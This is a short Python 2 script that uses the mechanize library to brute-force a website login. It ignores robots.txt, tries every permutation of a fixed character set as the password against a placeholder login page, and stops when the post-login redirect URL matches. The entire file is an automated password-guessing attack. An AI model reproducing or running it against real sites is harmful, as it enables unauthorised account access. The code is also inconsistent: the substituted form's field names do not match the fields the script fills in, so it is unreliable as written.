troubleshoot_mechanize.py

#!/usr/bin/python
import mechanize 
import itertools

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

combos=itertools.permutations("i34U^hP-",8) 
r =br.open("https://www.example.com/login/")
for x in combos:	
	new_form = '''
	<form method="post" action="index.php">
	<b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
	<b>Enter the password:</b><input type="password" name="pwd" size="16">
	<input type="submit" name="submit" value="Submit">
	</form>
	'''
	#all you have to take care is they have the same name for input fields and submit button 
	r.set_data(new_form)
	br.set_response(r)
	br.select_form( nr = 0 )
	br.form['userName'] = "user name"
	br.form['password'] = ''.join(x)
	print "Checking ",br.form['password']
	response=br.submit()
	if response.geturl()=="http://www.example.com/redirected_to_url":
		#url to which the page is redirected after login
		print "Correct password is ",''.join(x)
		break